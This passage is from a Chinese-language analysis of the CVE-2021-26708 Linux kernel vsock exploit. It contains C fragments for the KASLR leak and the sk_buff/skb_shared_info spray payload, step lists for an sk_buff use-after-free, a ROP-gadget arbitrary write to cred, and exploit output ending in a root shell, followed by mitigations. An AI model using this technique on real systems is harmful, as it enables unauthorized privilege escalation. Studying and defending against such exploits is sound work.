#define SK_WRITE_SPACE_OFFSET   688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET)

/*
 * From Linux kernel 5.10.11-200.fc33.x86_64:
 *   function pointer for calculating KASLR secret
 */
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu

unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
            sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
            owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
    printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);

提权思路：cred结构位于专门的cred_jar slab cache，尽管现在能够利用任意堆块释放来释放它，但还是不能控制cred内容。所以目标转向mem_cgroup对象，但是只要一释放该对象，内核立刻崩溃，看来内核中很多地方用到了mem_cgroup对象，接下来考虑一种较老的提权技巧。

7. sk_buff对象的UAF

sk_buff对象：在利用 CVE-2017-2636 的时候，作者将kmalloc-8192对象的 double-free 转化为sk_buff对象的UAF，这里也可以尝试。struct sk_buff表示网络相关的buffer，该对象中的skb_shared_info对象中的destructor_arg可用于劫持控制流，网络数据和skb_shared_info位于相同的内存块（sk_buff.head指向的内存块），在用户空间构造2800字节的网络包就能使 skb_shared_info 被分配在 kmalloc-4k cache中（mem_cgroup也位于kmalloc-4k中）。

步骤：

• 1.创建1个 client socket 和32个 server socket：socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)；
• 2.用户空间准备 2800 字节的buffer并用memset()填充为 0x42；
• 3.client 调用sendto()向每个server 发生该buffer，这样就会在kmalloc-4k中创建 sk_buff 对象。注意在每个CPU中都分配sk_buff对象（调用sched_setaffinity()）；
• 4.利用任意读来泄露vsock_sock对象的内容（前面已讲过）；
• 5.通过vsock.sk.sk_memcg也即mem_cgroup对象的地址来计算sk_buff对象的地址，可能是mem_cgroup地址加上 4096（也就是下一个kmalloc-4k）；
• 6.利用任意读来泄露sk_buff对象的内容（前面已讲过）；
• 7.如果网络包中含有0x4242424242424242lu，则找到了真正的sk_buff，跳转到步骤8；否则，对刚才计算出来的sk_buff地址再加上4096，跳转到第6步；
• 8.开启32个线程来调用setxattr() & userfaultfd()对sk_buff进行堆喷，然后用pthread_barrier栅栏拦住；
• 9.利用任意堆块释放来释放sk_buff对象；
• 10.调用pthread_barrier_wait()放开栅栏，唤醒这32个堆喷线程，调用setxattr()来覆盖skb_shared_info对象；
• 11.对 server socket调用 recv() 来接收网络消息 。

如果接收到skb_shared_info被覆盖的sk_buff，内核就会执行skb_shared_info.destructor_arg->callback函数，可以对内核进行任意写并且提权。具体步骤如下。

注意：对sk_buff对象的UAF是这个exp中最不稳定的一步，你也可以找找有没有其他更好的内核对象，能够分配到kmalloc-*中且可以用来将UAF转化为内核内存的任意读写。

8.利用skb_shared_info对象进行任意写

准备payload来覆盖sk_buff对象：skb_shared_info结构位于堆喷数据的 SKB_SHINFO_OFFSET - 3776 偏移处，skb_shared_info.destructor_arg指针指向 struct ubuf_info 对象，伪造的ubuf_info结构放在网络包的MY_UINFO_OFFSET - 256偏移处。由于sk_buff的地址已知，所以这是可以实现的。

说明：之前研究CVE-2017-2636的时候，由于不能把ubuf_info放进内核，只能放在用户空间，所以无法绕过SMAP，现在能够泄露sk_buff对象的地址，那么就能够将伪造的ubuf_info放进内核，就能绕过SMAP了。

#define SKB_SIZE        4096
#define SKB_SHINFO_OFFSET   3776
#define MY_UINFO_OFFSET     256
#define SKBTX_DEV_ZEROCOPY  (1 << 3)

void prepare_xattr_vs_skb_spray(void)
{
    struct skb_shared_info *info = NULL;

    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0x0, PAGE_SIZE * 4);

    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
    info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;       // uaf_write_value 是什么？

    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);   // 伪造 ubuf_info 结构的地址——用户空间

payload结构如下所示：

4-1-skb_payload.png

ubuf_info结构构造如下：由于作者在vmlinuz-5.10.11-200.fc33.x86_64中没有找到合适的pivot_gadget，所以就发明了一种奇怪的任意写原语，并且能够"one shot" ！

 /*
     * A single ROP gadget for arbitrary write:
     *   mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
     */
    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
    uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */

任意写：callback函数指针指向一个ROP gadget，RDI保存了callback的第一个参数（也就是ubuf_info结构的地址），所以RDI+8指向ubuf_info.desc，这个gadget能将ubuf_info.desc赋值给RDX。现在RDX存着有效的user ID和group ID的地址-1，这个-1很重要，当gadget将RSI中的qword 1写入RDX指向的内存时，uid和gid就会被覆盖为0。然后对uid和gid重复该步骤，就能成功提权。

以下是exp的输出，能够展现整个利用的流程：

[a13x@localhost ~]$ ./vsock_pwn

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready

[+] stage I: collect good msg_msg locations
[+] go racing, show wins: 
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3

[+] stage II: arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4d00
    kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins: 

[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000

[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4640
    kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11 
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb

[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
    start at 0x7f0d91120004
    skb_shared_info at 0x7f0d91120ec4
    tx_flags 0x8
    destructor_arg 0xffff9125c42fa100
    callback 0xffffffffab64f6d4
    desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15 

[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 

[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

9.可能的缓解措施

• （1）开启SLAB_QUARANTINE机制就能防止本漏洞被利用，因为竞争条件的时间很短，详情可参考文章Linux kernel heap quarantine versus use-after-free exploits ；
• （2）grsecurity提供的MODHARDEN patch 可以防止内核模块被非法用户自动加载；
• （3）将/proc/sys/vm/unprivileged_userfaultfd设置为0就能阻断堆喷，只有特权用户（如SYS_CAP_PTRACE）才能调用userfaultfd()；
• （4）kernel.dmesg_restrict sysctl设置为1就能阻断从内核日志泄露信息，可以限制非法用户通过dmesg读取内核日志；
• （5）CFI可以阻止执行ROP gadget，详情请参考 Linux Kernel Defence Map ；
• （6）未来的Linux内核版本将支持 ARM Memory Tagging Extension (MTE) ，可以缓解ARM中的UAF；
• （7）传说grsecurity有个终极武器叫做AUTOSLAB，可能可以根据对象类型来将内核对象分配到单独的slab cache中，这样就无法堆喷了；
• （8）Kees Cook指出将panic_on_warn sysctl设置为1就能打乱利用，原本的提权程序只能导致拒绝服务。

---

参考

Four Bytes of Power: exploiting CVE-2021-26708 in the Linux kernel Zer0Con 2021 talk slides

Linux 内核 AF_VSOCK 套接字条件竞争漏洞（CVE-2021-26708）分析

Linux vsock internals

VSOCK: VM host socket with minimal configuration